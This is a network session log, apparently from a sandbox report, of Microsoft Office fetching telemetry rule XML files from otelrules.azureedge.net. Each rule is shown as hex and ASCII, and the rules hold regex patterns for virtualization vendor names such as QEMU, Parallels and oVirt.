2024-11-20 05:40:29 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:29 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:29 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054029Z-185f5d8b95csp6jmhC1NYCwy6s00000009s000000000bh45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:29 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:29 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:29 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054029Z-185f5d8b95cqnkdjhC1NYCm8w800000009hg00000000q3zq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:29 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:30 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054030Z-1777c6cb754whff4hC1TEBcd6c00000007wg00000000220h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:30 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:30 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: ccb8f84a-f01e-00aa-75f2-3a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054030Z-185f5d8b95crl6swhC1NYC3ueg00000009u000000000uhbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:30 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:30 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054030Z-1777c6cb754ww792hC1TEBzqu400000008xg00000000h5yf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:30 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:30 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:30 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054030Z-185f5d8b95cwtv72hC1NYC141w00000009r000000000ab2s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:30 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054030Z-185f5d8b95c95vpshC1NYC759c00000009pg00000000thb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-185f5d8b95c4hl5whC1NYCeex000000009t000000000414f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-185f5d8b95c96jn4hC1NYCbgp800000009r000000000p0ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-185f5d8b95cp7lkfhC1NYC7rpw00000009xg00000000av9x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-r1d97b995774n5h6hC1TEBvf8400000008dg0000000078ad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
